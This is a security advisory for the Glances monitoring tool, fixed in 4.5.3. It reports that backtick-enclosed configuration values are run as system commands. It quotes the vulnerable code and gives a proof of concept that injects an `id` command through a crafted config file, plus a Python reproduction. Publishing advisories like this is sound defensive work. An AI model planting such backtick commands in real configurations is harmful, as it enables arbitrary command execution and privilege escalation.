GHSA-qhj7-v7h7-q4c7 Glances Vulnerable to Command Injection via Dynamic Configuration Values

• PyPI Glances: < 4.5.3 → fixed in 4.5.3

Summary Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands. If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation. Details 1. Glances loads configuration files from user, system, or custom paths during initialization. 2. When retrieving a configuration value, Config.get_value() scans for substrings enclosed in backticks. File: glances/config.py ``` match = self.re_pattern.findall(ret) for m in match: ret = ret.replace(m, system_exec(m[1:-1])) ``` 3. The extracted string is passed directly to system_exec(). File: glances/globals.py ```sh res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8') ``` 4. The command is executed and its output replaces the original configuration value. This execution occurs automatically whenever the configuration value is read. Affected Files glances/config.py — dynamic configuration parsing glances/globals.py — command execution helper Proof of Concept (PoC) Scenario: Arbitrary command execution via configuration value Step 1 — Create malicious configuration file ```sh /tmp/glances.conf ``` add below txt on the file ``` [outputs] url_prefix = 'id' ``` Step 2 — Launch Glances with custom configuration ```sh glances -C /tmp/glances.conf ``` Step 3 — Observe behavior When Glances reads the configuration: • The command inside backticks is executed • Output replaces the configuration value • Execution occurs without user interaction Reproduce using Python code ``` import subprocess import re def system_exec(command): return subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode().strip() value = "`id`" pattern = re.compile(r'(`.+?`)') for m in pattern.findall(value): print(system_exec(m[1:-1])) ``` Output: `uid=1000(user) gid=1000(user) groups=1000(user)` Impact Arbitrary Command Execution Any command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process. Potential Privilege Escalation If Glances runs as a privileged service (e.g., root), commands execute with those privileges. Possible scenarios include: • Misconfigured file permissions allowing unauthorized config modification • Shared systems where configuration directories are writable by multiple users • Container environments with mounted configuration volumes • Automated configuration management systems that ingest untrusted data